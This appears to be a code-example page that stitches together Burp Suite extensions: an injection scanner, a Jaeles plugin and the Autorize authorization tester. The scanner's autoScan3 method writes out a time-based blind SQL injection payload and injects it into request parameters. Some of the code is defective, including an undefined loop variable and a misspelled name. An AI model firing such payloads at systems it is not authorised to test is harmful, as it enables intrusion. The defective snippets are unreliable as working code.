        centerPane.add(self._setBasisButton)
        centerPane.add(self._hitOnceButton)
        centerPane.add(self._autoScanButton)
        centerPane.add(self._cancelButton)
        centerPane.add(self._clearLogButton)
        rightPane.add(self._levelLabel)
        rightPane.add(self._levelSelection)
        buttonPane.add(centerPane, BorderLayout.CENTER)
        buttonPane.add(leftPane, BorderLayout.WEST)
        buttonPane.add(rightPane, BorderLayout.EAST)

        # Create and set the bottom panel that holds viewers and buttons
        utilPane = JPanel()
        utilPane.setLayout(BorderLayout())
        utilPane.add(tabs, BorderLayout.CENTER)
        utilPane.add(buttonPane, BorderLayout.SOUTH)

        self._mainSplitpane.setLeftComponent(tableSplitpane)
        self._mainSplitpane.setRightComponent(utilPane)

        # Customize UI components
        callbacks.customizeUiComponent(self._mainSplitpane)
        callbacks.customizeUiComponent(dataTable)
        callbacks.customizeUiComponent(dataScrollPane)
        callbacks.customizeUiComponent(logTable)
        callbacks.customizeUiComponent(logScrollPane)
        callbacks.customizeUiComponent(tabs)
        callbacks.customizeUiComponent(buttonPane)
        callbacks.customizeUiComponent(utilPane)
        callbacks.customizeUiComponent(self._basisLabel)
        callbacks.customizeUiComponent(self._setBasisButton)
        callbacks.customizeUiComponent(self._hitOnceButton)
        callbacks.customizeUiComponent(self._autoScanButton)
        callbacks.customizeUiComponent(self._clearLogButton)
        callbacks.customizeUiComponent(self._levelSelection)
        callbacks.customizeUiComponent(self._cancelButton)

        # Add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)

        # Register the context menu and message editor for new tabs
        callbacks.registerContextMenuFactory(self)

        # Register as a HTTP listener
        callbacks.registerHttpListener(self)

        return

    '''
    ITab implementation
    '''

    def getTabCaption(self):
        return 'InjectionScanner'

    def getUiComponent(self):
        return self._mainSplitpane

    '''
    IContextMenuFactory implementation
    '''

    def createMenuItems(self, invocation):
        menu = []

        # Which part of the interface the user selects
        ctx = invocation.getInvocationContext()

        # Message viewer request will show menu item if selected by the user
        if ctx == 0 or ctx == 2:
            menu.append(
                swing.JMenuItem("Send to InjectionScanner",
                                None,
                                actionPerformed=lambda x, inv=invocation: self.
                                sendToExtender(inv)))

        return menu if menu else None

    '''
    IMessageEditorController Implementation
    '''

    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()

    '''
    IHttpListener implementation
    '''

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):

        # Skip this function if the message is request
        if messageIsRequest:
            return

        # Lock the log entry in case race condition
        self._logLock.acquire()
        row = self._log.size()

        # Fetch request message
        requestBody = messageInfo.getRequest()
        requestInfo = self._helpers.analyzeResponse(requestBody)
        requestHeaders = requestInfo.getHeaders()
        if self._postGet == 'POST':
            requestData = self._helpers.bytesToString(
                requestBody[requestInfo.getBodyOffset():])
        elif self._postGet == 'GET':
            for header in requestHeaders:

                if 'GET' in header:
                    # If the request is GET, update the GET data
                    requestUrl = re.sub('^GET\s+', '', header, re.IGNORECASE)
                    requestUrl = re.sub('\sHTTP/1.1\S*', '', requestUrl,
                                        re.IGNORECASE)

                    if '?' in requestUrl:
                        requestData = re.sub('\S*\?', '', requestUrl,
                                             re.IGNORECASE)

                    else:
                        print('processHttpMessage: no parameter in GET url')
        else:
            print('processHttpMessage: _postGet not defined')
            self._logLock.release()
            return

        # Fetch the http type (GET/POST)
        httpType = requestHeaders[0].split(' ')

        # Fetch response message
        responseBody = messageInfo.getResponse()
        responseInfo = self._helpers.analyzeResponse(responseBody)
        responseHeaders = responseInfo.getHeaders()
        self._responseLength = ''

        # Fetch the content length
        self._responseLength = self.fetchContentLength(responseHeaders)

        # If the response message is auto-generated, ignore it. If not, add it into the log list
        if self._callbacks.getToolName(toolFlag) != 'Proxy':

            self._log.add(
                LogEntry(httpType[0], requestData,
                         self._callbacks.saveBuffersToTempFiles(messageInfo),
                         self._responseLength))
            self._logTable.fireTableRowsInserted(row, row)

        self._logLock.release()

    '''
    Fetch content length from the headers given
    '''

    def fetchContentLength(self, fromHeaders):

        for header in fromHeaders:
            if re.search('^Content-Length', header, re.IGNORECASE) is not None:
                return re.sub('^Content-Length\:\s+', '', header,
                              re.IGNORECASE)

    '''
    When the user select 'Send to InjectionScanner', call this function
    '''

    def sendToExtender(self, invocation):

        # Init/reset request data before sending to extender
        self.initRequestInfo()

        try:
            # Initialize basic information
            invMessage = invocation.getSelectedMessages()
            requestMessage = invMessage[0]
            requestInfo = self._helpers.analyzeRequest(requestMessage)
            self._requestBody = requestMessage.getRequest()

            # Set the _currentlyDisplayedItem so each time the data is sent to the extender
            self._currentlyDisplayedItem = self._callbacks.saveBuffersToTempFiles(
                requestMessage)

            # Fetch the request data
            bodyLen = len(self._helpers.bytesToString(self._requestBody))
            if requestInfo.getBodyOffset() < bodyLen:
                self._requestData = self._helpers.bytesToString(
                    self._requestBody[requestInfo.getBodyOffset():])
            elif requestInfo.getBodyOffset() == bodyLen:
                self._requestData = ''
            else:
                print('sendToExtender: body length < body offset')

            # Fetch the headers and Http service
            requestHeaders = list(requestInfo.getHeaders())
            self._httpService = requestMessage.getHttpService()

            # Initialize POST/GET identifier and User-Agent
            for header in requestHeaders:
                if re.search('^POST', header, re.IGNORECASE) is not None:
                    self._postGet = 'POST'

                elif re.search('^GET', header, re.IGNORECASE) is not None:
                    self._postGet = 'GET'

                    # If the request is GET, initialize the url and GET data
                    self._requestUrl = re.sub('^GET\s+', '', header,
                                              re.IGNORECASE)
                    self._requestUrl = re.sub('\sHTTP/1.1\S*', '',
                                              self._requestUrl, re.IGNORECASE)

                    if '?' in self._requestUrl:
                        self._requestDataGet = re.sub('\S*\?', '',
                                                      self._requestUrl,
                                                      re.IGNORECASE)

                    else:
                        print('sendToExtender: no parameter in GET url')

                # If the request if POST, fetch the request data type by content type
                if self._postGet == 'POST' and re.search(
                        '^Content-Type', header, re.IGNORECASE) is not None:

                    contentType = re.sub('^Content-Type', '', header,
                                         re.IGNORECASE)
                    if 'urlencoded' in contentType:
                        self._dataType = 'urlencoded'

                    elif 'json' in contentType:
                        self._dataType = 'json'

                    elif 'xml' in contentType or 'http' in conentType:
                        self._dataType = 'xml'

                    else:
                        print(
                            'sendToExtender: _dataType is not supported, do not scan'
                        )

                # Initialze the User-Agent if it exists
                if re.search('^User-Agent', header, re.IGNORECASE) is not None:
                    self._userAgent = re.sub('^User-Agent\:\s+', '', header,
                                             re.IGNORECASE)

            # If there's no content type in the header,fetch from data
            if self._postGet == 'POST' and self._dataType == '':

                if self._requestData != '':

                    if self._requestData[
                            0] == '{' and '}' in self._requestData and ':' in self._requestData:
                        self._dataType = 'json'

                    elif self._requestData[0] == '<' and self._requestData[
                            -1] == '>':
                        self._dataType = 'xml'

                    else:
                        self._dataType = 'urlencoded'

                else:
                    print(
                        'sendToExtender: _postGet is POST but _requestData is null'
                    )

            # Clear the table before adding elements
            self._dataTable.setRowCount(0)

            # Update request viewer
            self.updateRequestViewer()

            # Fill request data
            self.fillRequestData()

        except Exception as e:
            print(e)

    '''
    Fill the data into the request table
    '''

    def fillRequestData(self):

        # If _postGet is GET, also adds URL to the table
        if self._postGet == 'GET':

            dataList = self._requestDataGet.split('&')
            for data in dataList:

                if '=' in data:
                    x = data.split('=', 1)
                    self._dataDict[str(x[0])] = str(x[1])
                    self._dataTable.addRow([str(x[0]), str(x[1])])
                    self._dataLen += 1

            self._dataTable.addRow(['URL', self._requestUrl])
            self._UrlRow = self._dataLen

            if self._userAgent != '':
                self._dataTable.addRow(['User-Agent', self._userAgent])

        elif self._postGet == 'POST':

            if self._dataType == 'urlencoded':

                dataList = self._requestData.split('&')
                for data in dataList:

                    if '=' in data:
                        x = data.split('=', 1)
                        self._dataDict[str(x[0])] = str(x[1])
                        self._dataTable.addRow([str(x[0]), str(x[1])])
                        self._dataLen += 1

            elif self._dataType == 'json':

                self._dataDict = json.loads(self._requestData)
                for key in self._dataDict:

                    # Convert '"' to '\"' to be the same as that in the data
                    value = str(self._dataDict[key])
                    if '\"' in value:
                        value = value.replace('\"', '\\\"')
                    self._dataDict[key] = value

                    self._dataTable.addRow([str(key), self._dataDict[key]])
                    self._dataLen += 1

            elif self._dataType == 'xml':

                # Use xml package to convert the xml string to dict
                # Note1: the xml dict will be in reverse order
                # Note2: the arrtibute will also be added into dict, need to be pop
                # Note3: special characters like \" will be considered as "
                xml.sax.parseString(self._requestData, self._xh)
                self._attr = re.sub('\>(\S*\s*)*', '', self._requestData[1:],
                                    re.IGNORECASE)

                self._dataDict = self._xh.getDict()
                self._dataDict.pop(self._attr)

                for key in self._dataDict:
                    self._dataTable.addRow(
                        [str(key), str(self._dataDict[key])])
                    self._dataLen += 1

            else:
                print('fillRequestData: _dataType not defined')

            if self._userAgent != '':
                self._dataTable.addRow(['User-Agent', self._userAgent])
                self._savedUserAgent = self._userAgent

        else:
            print('fillRequestData: _postGet not defined')

    '''
    Receive & update the response after sending request to the server
    '''

    def receiveResponse(self):

        # Init/reset response data before receiving response
        self.initResponseInfo()

        # Launch the http thread
        self._httpThread = Thread(target=self.makeRequest,
                                  args=(
                                      self._httpService,
                                      self._requestBody,
                                  ))
        self._httpThread.start()

    '''
    Make Http request to a service
    '''

    def makeRequest(self, httpService, requestBody):
        self._httpLock.acquire()

        # Disable the hit buttons before starting the thread
        self._hitOnceButton.setEnabled(False)
        self._autoScanButton.setEnabled(False)

        self._responseMessage = self._callbacks.makeHttpRequest(
            httpService, requestBody)

        # Enable the hit buttons
        self._hitOnceButton.setEnabled(True)
        self._autoScanButton.setEnabled(True)

        # Unblock the mutex
        self._httpLock.release()

    '''
    updateRequestViewer
    '''

    def updateRequestViewer(self):
        self._requestViewer.setMessage(self.getRequest(), True)

    '''
    updateResponseViewer
    '''

    def updateResponseViewer(self):
        self._responseViewer.setMessage(self.getResponse(), False)

    '''
    Level 1 auto: only loop through the data, do not modify the 'submit' section
    '''

    def autoScan1(self):
        # TODO: Add a 'cancel' button to stop when the user think it takes too long
        # TODO: Add XML support
        if self._postGet == 'GET':

            for i in range(0, self._dataLen):

                title = self._dataTable.getValueAt(i, 0)
                baseValue = self._dataDict[title]

                for value in self._simpleList:

                    # TODO: update more value that should not be changed
                    if 'submit' not in title.lower(
                    ) and 'submit' not in self._dataDict[title].lower(
                    ) and 'search' not in title.lower(
                    ) and 'search' not in self._dataDict[title].lower():

                        # Update the table in case the loop interrupt in the middle
                        # Note that the URL will be automatically updated due to this code, so no need to manually update the URL section
                        self._dataTable.setValueAt(value, i, 1)

                        # Send & request the HTTP request/response
                        self.updateRequestViewer()
                        self.receiveResponse()

                # Reset the table
                self._dataTable.setValueAt(baseValue, i, 1)

        if self._postGet == 'POST':

            if self._dataType == 'urlencoded' or self._dataType == 'json':

                for i in range(0, self._dataLen):

                    title = self._dataTable.getValueAt(i, 0)
                    baseValue = self._dataDict[title]

                    if 'submit' in title.lower() or 'submit' in self._dataDict[
                            title].lower() or 'search' in title.lower(
                            ) or 'search' in self._dataDict[title].lower():
                        continue

                    for value in self._simpleList:

                        self._dataTable.setValueAt(value, i, 1)

                        self.updateRequestViewer()
                        self.receiveResponse()

                    # Reset the table
                    self._dataTable.setValueAt(baseValue, i, 1)

            elif self._dataType == 'xml':

                for i in range(0, self._dataLen):

                    title = self._dataTable.getValueAt(i, 0)
                    baseValue = self._dataDict[title]

                    for value in self._xmlList:

                        # Update the table in case the loop interrupt in the middle
                        self._dataTable.setValueAt(value, i, 1)

                        # Send & request the HTTP request/response
                        self.updateRequestViewer()
                        self.receiveResponse()

                    # Reset the table
                    self._dataTable.setValueAt(baseValue, i, 1)

    '''
    Level 2 auto: loop through the data as well as the user agent (if exist)
    '''

    def autoScan2(self):

        # If the User-Agent does not exist, only performs level 1 auto
        if self._userAgent != '':

            baseUserAgent = self._userAgent
            baseExpression = 'User-Agent: ' + baseUserAgent

            for value in self._simpleList:
                oldExpression = 'User-Agent: ' + self._userAgent
                newExpression = 'User-Agent: ' + value

                # Update the values accordingly
                requestBodyString = self._helpers.bytesToString(
                    self._requestBody)
                self._requestBody = requestBodyString.replace(
                    oldExpression, newExpression)
                self._userAgent = value

                self.updateRequestViewer()
                self.receiveResponse()

            # Reset the value back to original after each loop
            requestBodyString = self._helpers.bytesToString(self._requestBody)
            self._requestBody = requestBodyString.replace(
                newExpression, baseExpression)
            self._savedUserAgent = baseUserAgent
            self.updateRequestViewer()

        # Perform level 1 scan also
        self.autoScan1()

    '''
    Level 3 auto: Alpha: use the timer to perform blind insertion
    '''

    # TODO: 目前只支持GET/urlencoded,后续添加更多支持
    def autoScan3(self):

        self._timeReach = False
        timer = Timer(5, self.timeReach)

        # Modify the first element to perform blind injection
        title = self._dataTable.getValueAt(i, 0)
        oldExpression = title + '=' + self._dataDict[title]
        newExpression = title + '=' + '1\' and if(1=0,1, sleep(10)) --+'

        if self._postGet == 'GET':

            # Update the values accordingly
            requestBodyString = self._helpers.bytesToString(self._requestBody)
            self._requestBody = requestBodyString.replace(
                oldExpression, newExpression)
            self._requestDataGet = self._requestDataGet.replace(
                oldExpression, newExpression)
            self._requestUrl = self._requestUrl.replace(
                oldExpression, newExpression)
            self._dataDict[title] = '1\' and if(1=0,1, sleep(10)) --+'
            self._requestModel.setValueAt('1\' and if(1=0,1, sleep(10)) --+',
                                          0, 1)

        elif self._postGet == 'POST':

            if self._dataType == 'urlencoded':

                # Update the values accordingly
                requestBodyString = self._helpers.bytesToString(
                    self._requestBody)
                self._requestBody = requestBodyString.replace(
                    oldExpression, newExpression)
                self._requestData = self._requestData.replace(
                    oldExpression, newExpression)
                self._dataDict[title] = '1\' and if(1=0,1, sleep(10)) --+'
                self._requestModel.setValueAt(
                    '1\' and if(1=0,1, sleep(10)) --+', 0, 1)

            else:
                print('autoScan3: _dataType not supported')

        else:
            print('autoScan3: _postGet not defined')

        timer.start()

        self.updateRequestViewer()
        self.receiveResponse()

        # Print the result
        if self._timeReach:
            print('Delay scan succeed')
        else:
            print('Delay scan failed')

        # Cancel the timer
        timer.cancel()

    def timeReach(self):
        self._timeReach = True

    '''
    Fetch the 'abnormal' payloads that shows very different response length from the normal ones
    '''

    def getAbnormal(self, basis, coefficient):

        # If the basis is not set, do nothing
        abnormList = ArrayList()
        if basis == 0:
            return None

        # Fetch the abnormals from the log list
        for log in self._log:
            if float(log._responseLen) / float(basis) < coefficient or float(
                    basis) / float(log._responseLen) < coefficient:
                abnormList.append(log._payload)

        return abnormList

    '''
    Turn a simple dict of key/value pairs into XML
    '''

    def dictToXml(self, tag, d):

        elem = Element(tag)

        for key, val in d.items():
            child = Element(key)
            child.text = str(val)
            # Add element in reverse order so that the result is correct
            elem.insert(0, child)

        return elem

    '''
    initRequestInfo
    '''

    def initRequestInfo(self):
        self._postGet = ''
        self._userAgent = ''
        self._requestUrl = ''
        self._requestBody = ''
        self._requestData = ''
        self._requestDataGet = ''
        self._httpService = None
        self._dataDict = {}
        self._dataType = ''
        self._dataLen = 0
        self._attr = ''
        self._contentLength = 0
        self._currentlyDisplayedItem = None

    '''
    initResponseInfo
    '''

    def initResponseInfo(self):
        self._responseBody = None
        self._responseMessage = None
        self._responseLength = ''

    '''
    printRequest
    '''

    def printRequest(self):
        print('----------------')
        print(self._postGet)
        print('----------------')
        print(self._userAgent)
        print('----------------')
        print(self._requestUrl)
        print('----------------')
        print(self._requestBody)
        print('----------------')
        print(self._requestData)
        print('----------------')
        print(self._requestDataGet)
        print('----------------')
        print(self._httpService)
        print('----------------')
        print(self._dataDict)
        print('----------------')
        print(self._dataLen)
        print('----------------')
        print(self._attr)
        print('----------------')

    '''
    printResponse
    '''

    def printResponse(self):
        print('----------------')
        print(self._responseBody)
        print('----------------')
        print(self._responseMessage)
        print('----------------')
        print(self._responseLength)
        print('----------------')
예제 #10
0
    def registerExtenderCallbacks(self, callbacks):
        print("[*] Loading Jaeles beta v0.1")
        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName("Jaeles")

        # main split pane
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)

        # table of log entries
        # logTable = Table(self)
        # scrollPane = JScrollPane(logTable)

        # _toppane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        _mainpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
        _mainpane.setResizeWeight(0.5)
        # _mainpane = JPanel()

        _toppane = JPanel()

        # top pane
        self.banner = JLabel("Jaeles - The Swiss Army knife for automated Web Application Testing. ")
        self.banner.setBounds(50, 30, 200, 400)

        self.banner2 = JLabel("Official Documentation: https://jaeles-project.github.io/")
        self.banner2.setBounds(100, 50, 200, 400)
        _toppane.add(self.banner)
        _toppane.add(self.banner2)

        # _botpane = JPanel()
        _botpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)

        # bot pane
        self.HostLabel = JLabel("Jaeles Endpoint: ")
        self.HostLabel.setBounds(100, 150, 200, 400)

        self.Jaeles_endpoint = 'http://127.0.0.1:5000/api/parse'
        self.jwt = 'Jaeles token_here'
        # just prevent plugin error when you doesn't have server running
        try:
            self.initial()
            jwt, endpoint = self.get_config()
            if endpoint:
                self.Jaeles_endpoint = endpoint        
            if jwt:
                self.jwt = jwt
        except:
            pass

        endpoint_pane = JPanel()

        # end point to submit request
        self.EndpointText = JTextArea(self.Jaeles_endpoint, 3, 100)

        self.jwtLabel = JLabel("Jaeles JWT token: ")
        self.jwtLabel.setBounds(100, 300, 250, 450)

        self.jwtText = JTextArea(self.jwt, 3, 100, lineWrap=True)

        buttons = JPanel()
        self.buttonLabel = JLabel("Actions: ")
        self.buttonLabel.setBounds(150, 200, 200, 400)
        self._saveButton = JButton("Save", actionPerformed=self.saveToken)
        self._loadButton = JButton(
            "Test Connection", actionPerformed=self.butClick)
        self._reloadButton = JButton("Reload", actionPerformed=self.butClick)

        oob_control = JPanel()
        self.oobLabel = JLabel("OOB: ")
        self.oobLabel.setBounds(150, 200, 200, 400)
        self._saveoob = JButton("Save OOB", actionPerformed=self.saveToken)
        self._pollingBox = JCheckBox("Polling")
        self._pollingBox.setBounds(290, 25, 300, 30)
        oob_control.add(self.oobLabel)
        oob_control.add(self._saveoob)
        oob_control.add(self._pollingBox)

        # _botpane.add(self.banner)
        # endpoint_pane.add(self.blankLabel)
        endpoint_pane.add(self.HostLabel)
        endpoint_pane.add(self.EndpointText)
        endpoint_pane.add(self.jwtLabel)
        endpoint_pane.add(self.jwtText)

        buttons.add(self.buttonLabel)
        buttons.add(self._saveButton)
        buttons.add(self._loadButton)
        buttons.add(self._reloadButton)

        _botpane.setLeftComponent(oob_control)
        _botpane.setLeftComponent(endpoint_pane)
        _botpane.setRightComponent(buttons)
        _botpane.setResizeWeight(0.7)

        # set
        _mainpane.setLeftComponent(_toppane)
        _mainpane.setRightComponent(_botpane)

        self._splitpane.setLeftComponent(_mainpane)

        ###########
        # tabs with request/response viewers
        tabs = JTabbedPane()

        self.log_area = JTextArea("", 5, 30)
        # self._requestViewer = callbacks.createMessageEditor(self, False)

        tabs.addTab("Log", self.log_area)
        # tabs.addTab("Config", self._requestViewer.getComponent())

        self._splitpane.setRightComponent(tabs)
        self._splitpane.setResizeWeight(0.5)

        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(tabs)

        callbacks.registerContextMenuFactory(self)

        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)

        # register ourselves as an HTTP listener
        # callbacks.registerHttpListener(self)
        self.print_log("[*] Jaeles Loaded ...")
        return
예제 #11
0
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory):

    def registerExtenderCallbacks(self, callbacks):
        # keep a reference to our callbacks object
        self._callbacks = callbacks
        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()
        
        # set our extension name
        callbacks.setExtensionName("Autorize")
        
        # create the log and a lock on which to synchronize when adding log entries
        self._log = ArrayList()
        self._lock = Lock()
        self._enfocementStatuses = ["Authorization bypass!","Authorization enforced??? (please configure enforcement detector)","Authorization enforced!"]
        self.intercept = 0

        self.initInterceptionFilters()

        self.initEnforcementDetector()

        self.initEnforcementDetectorUnauthorized()

        self.initExport()

        self.initConfigurationTab()

        self.initTabs()
        
        self.initCallbacks()

        self.currentRequestNumber = 1
        
        print "Thank you for installing Autorize v0.12 extension"
        print "Created by Barak Tawily" 
        print "Contributors: Barak Tawily, Federico Dotta"
        print "\nGithub:\nhttps://github.com/Quitten/Autorize"
        return
        

    def initExport(self):
        #
        ## init enforcement detector tab
        #

        exportLType = JLabel("File Type:")
        exportLType.setBounds(10, 10, 100, 30)
       
        exportLES = JLabel("Enforcement Statuses:")
        exportLES.setBounds(10, 50, 160, 30)

        exportFileTypes = ["HTML","CSV"]
        self.exportType = JComboBox(exportFileTypes)
        self.exportType.setBounds(100, 10, 200, 30)

        exportES = ["All Statuses", self._enfocementStatuses[0], self._enfocementStatuses[1], self._enfocementStatuses[2]]
        self.exportES = JComboBox(exportES)
        self.exportES.setBounds(100, 50, 200, 30)

        exportLES = JLabel("Statuses:")
        exportLES.setBounds(10, 50, 100, 30)

        self.exportButton = JButton("Export",actionPerformed=self.export)
        self.exportButton.setBounds(390, 25, 100, 30)

        self.exportPnl = JPanel()
        self.exportPnl.setLayout(None);
        self.exportPnl.setBounds(0, 0, 1000, 1000);
        self.exportPnl.add(exportLType)
        self.exportPnl.add(self.exportType)
        self.exportPnl.add(exportLES)
        self.exportPnl.add(self.exportES)
        self.exportPnl.add(self.exportButton)

    def initEnforcementDetector(self):
        #
        ## init enforcement detector tab
        #

        # These two variable appears to be unused...
        self.EDFP = ArrayList()
        self.EDCT = ArrayList()

        EDLType = JLabel("Type:")
        EDLType.setBounds(10, 10, 140, 30)

        EDLContent = JLabel("Content:")
        EDLContent.setBounds(10, 50, 140, 30)

        EDLabelList = JLabel("Filter List:")
        EDLabelList.setBounds(10, 165, 140, 30)

        EDStrings = ["Headers (simple string): (enforced message headers contains)", "Headers (regex): (enforced messege headers contains)", "Body (simple string): (enforced messege body contains)", "Body (regex): (enforced messege body contains)", "Full request (simple string): (enforced messege contains)", "Full request (regex): (enforced messege contains)", "Content-Length: (constant Content-Length number of enforced response)"]
        self.EDType = JComboBox(EDStrings)
        self.EDType.setBounds(80, 10, 430, 30)
       
        self.EDText = JTextArea("", 5, 30)
        self.EDText.setBounds(80, 50, 300, 110)

        self.EDModel = DefaultListModel();
        self.EDList = JList(self.EDModel);
        self.EDList.setBounds(80, 175, 300, 110)
        self.EDList.setBorder(LineBorder(Color.BLACK))

        self.EDAdd = JButton("Add filter",actionPerformed=self.addEDFilter)
        self.EDAdd.setBounds(390, 85, 120, 30)
        self.EDDel = JButton("Remove filter",actionPerformed=self.delEDFilter)
        self.EDDel.setBounds(390, 210, 120, 30)

        self.EDPnl = JPanel()
        self.EDPnl.setLayout(None);
        self.EDPnl.setBounds(0, 0, 1000, 1000);
        self.EDPnl.add(EDLType)
        self.EDPnl.add(self.EDType)
        self.EDPnl.add(EDLContent)
        self.EDPnl.add(self.EDText)
        self.EDPnl.add(self.EDAdd)
        self.EDPnl.add(self.EDDel)
        self.EDPnl.add(EDLabelList)
        self.EDPnl.add(self.EDList)

    def initEnforcementDetectorUnauthorized(self):
        #
        ## init enforcement detector tab
        #

        EDLType = JLabel("Type:")
        EDLType.setBounds(10, 10, 140, 30)

        EDLContent = JLabel("Content:")
        EDLContent.setBounds(10, 50, 140, 30)

        EDLabelList = JLabel("Filter List:")
        EDLabelList.setBounds(10, 165, 140, 30)

        EDStrings = ["Headers (simple string): (enforced message headers contains)", "Headers (regex): (enforced messege headers contains)", "Body (simple string): (enforced messege body contains)", "Body (regex): (enforced messege body contains)", "Full request (simple string): (enforced messege contains)", "Full request (regex): (enforced messege contains)", "Content-Length: (constant Content-Length number of enforced response)"]
        self.EDTypeUnauth = JComboBox(EDStrings)
        self.EDTypeUnauth.setBounds(80, 10, 430, 30)
       
        self.EDTextUnauth = JTextArea("", 5, 30)
        self.EDTextUnauth.setBounds(80, 50, 300, 110)

        self.EDModelUnauth = DefaultListModel();
        self.EDListUnauth = JList(self.EDModelUnauth);
        self.EDListUnauth.setBounds(80, 175, 300, 110)
        self.EDListUnauth.setBorder(LineBorder(Color.BLACK))

        self.EDAddUnauth = JButton("Add filter",actionPerformed=self.addEDFilterUnauth)
        self.EDAddUnauth.setBounds(390, 85, 120, 30)
        self.EDDelUnauth = JButton("Remove filter",actionPerformed=self.delEDFilterUnauth)
        self.EDDelUnauth.setBounds(390, 210, 120, 30)

        self.EDPnlUnauth = JPanel()
        self.EDPnlUnauth.setLayout(None);
        self.EDPnlUnauth.setBounds(0, 0, 1000, 1000);
        self.EDPnlUnauth.add(EDLType)
        self.EDPnlUnauth.add(self.EDTypeUnauth)
        self.EDPnlUnauth.add(EDLContent)
        self.EDPnlUnauth.add(self.EDTextUnauth)
        self.EDPnlUnauth.add(self.EDAddUnauth)
        self.EDPnlUnauth.add(self.EDDelUnauth)
        self.EDPnlUnauth.add(EDLabelList)
        self.EDPnlUnauth.add(self.EDListUnauth)        

    def initInterceptionFilters(self):
        #
        ##  init interception filters tab
        #

        IFStrings = ["Scope items only: (Content is not required)","URL Contains (simple string): ","URL Contains (regex): ","URL Not Contains (simple string): ","URL Not Contains (regex): "]
        self.IFType = JComboBox(IFStrings)
        self.IFType.setBounds(80, 10, 430, 30)
       
        self.IFModel = DefaultListModel();
        self.IFList = JList(self.IFModel);
        self.IFList.setBounds(80, 175, 300, 110)
        self.IFList.setBorder(LineBorder(Color.BLACK))

        self.IFText = JTextArea("", 5, 30)
        self.IFText.setBounds(80, 50, 300, 110)

        IFLType = JLabel("Type:")
        IFLType.setBounds(10, 10, 140, 30)

        IFLContent = JLabel("Content:")
        IFLContent.setBounds(10, 50, 140, 30)

        IFLabelList = JLabel("Filter List:")
        IFLabelList.setBounds(10, 165, 140, 30)

        self.IFAdd = JButton("Add filter",actionPerformed=self.addIFFilter)
        self.IFAdd.setBounds(390, 85, 120, 30)
        self.IFDel = JButton("Remove filter",actionPerformed=self.delIFFilter)
        self.IFDel.setBounds(390, 210, 120, 30)

        self.filtersPnl = JPanel()
        self.filtersPnl.setLayout(None);
        self.filtersPnl.setBounds(0, 0, 1000, 1000);
        self.filtersPnl.add(IFLType)
        self.filtersPnl.add(self.IFType)
        self.filtersPnl.add(IFLContent)
        self.filtersPnl.add(self.IFText)
        self.filtersPnl.add(self.IFAdd)
        self.filtersPnl.add(self.IFDel)
        self.filtersPnl.add(IFLabelList)
        self.filtersPnl.add(self.IFList)


    def initConfigurationTab(self):
        #
        ##  init configuration tab
        #
        self.prevent304 = JCheckBox("Prevent 304 Not Modified status code")
        self.prevent304.setBounds(290, 25, 300, 30)

        self.ignore304 = JCheckBox("Ignore 304/204 status code responses")
        self.ignore304.setBounds(290, 5, 300, 30)
        self.ignore304.setSelected(True)

        self.autoScroll = JCheckBox("Auto Scroll")
        #self.autoScroll.setBounds(290, 45, 140, 30)
        self.autoScroll.setBounds(160, 40, 140, 30)

        self.doUnauthorizedRequest = JCheckBox("Check unauthenticated")
        self.doUnauthorizedRequest.setBounds(290, 45, 300, 30)
        self.doUnauthorizedRequest.setSelected(True)

        startLabel = JLabel("Authorization checks:")
        startLabel.setBounds(10, 10, 140, 30)
        self.startButton = JButton("Autorize is off",actionPerformed=self.startOrStop)
        self.startButton.setBounds(160, 10, 120, 30)
        self.startButton.setBackground(Color(255, 100, 91, 255))

        self.clearButton = JButton("Clear List",actionPerformed=self.clearList)
        self.clearButton.setBounds(10, 40, 100, 30)

        self.replaceString = JTextArea("Cookie: Insert=injected; header=here;", 5, 30)
        self.replaceString.setWrapStyleWord(True);
        self.replaceString.setLineWrap(True)
        self.replaceString.setBounds(10, 80, 470, 180)

        self.filtersTabs = JTabbedPane()
        self.filtersTabs.addTab("Enforcement Detector", self.EDPnl)
        self.filtersTabs.addTab("Detector Unauthenticated", self.EDPnlUnauth)
        self.filtersTabs.addTab("Interception Filters", self.filtersPnl)
        self.filtersTabs.addTab("Export", self.exportPnl)

        self.filtersTabs.setBounds(0, 280, 2000, 700)

        self.pnl = JPanel()
        self.pnl.setBounds(0, 0, 1000, 1000);
        self.pnl.setLayout(None);
        self.pnl.add(self.startButton)
        self.pnl.add(self.clearButton)
        self.pnl.add(self.replaceString)
        self.pnl.add(startLabel)
        self.pnl.add(self.autoScroll)
        self.pnl.add(self.ignore304)
        self.pnl.add(self.prevent304)
        self.pnl.add(self.doUnauthorizedRequest)
        self.pnl.add(self.filtersTabs)

    def initTabs(self):
        #
        ##  init autorize tabs
        #
        
        self.logTable = Table(self)

        self.logTable.setAutoCreateRowSorter(True)        

        tableWidth = self.logTable.getPreferredSize().width        
        self.logTable.getColumn("ID").setPreferredWidth(Math.round(tableWidth / 50 * 2))
        self.logTable.getColumn("URL").setPreferredWidth(Math.round(tableWidth / 50 * 24))
        self.logTable.getColumn("Orig. Length").setPreferredWidth(Math.round(tableWidth / 50 * 4))
        self.logTable.getColumn("Modif. Length").setPreferredWidth(Math.round(tableWidth / 50 * 4))
        self.logTable.getColumn("Unauth. Length").setPreferredWidth(Math.round(tableWidth / 50 * 4))
        self.logTable.getColumn("Authorization Enforcement Status").setPreferredWidth(Math.round(tableWidth / 50 * 4))
        self.logTable.getColumn("Authorization Unauth. Status").setPreferredWidth(Math.round(tableWidth / 50 * 4))

        self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._splitpane.setResizeWeight(1)
        self.scrollPane = JScrollPane(self.logTable)
        self._splitpane.setLeftComponent(self.scrollPane)
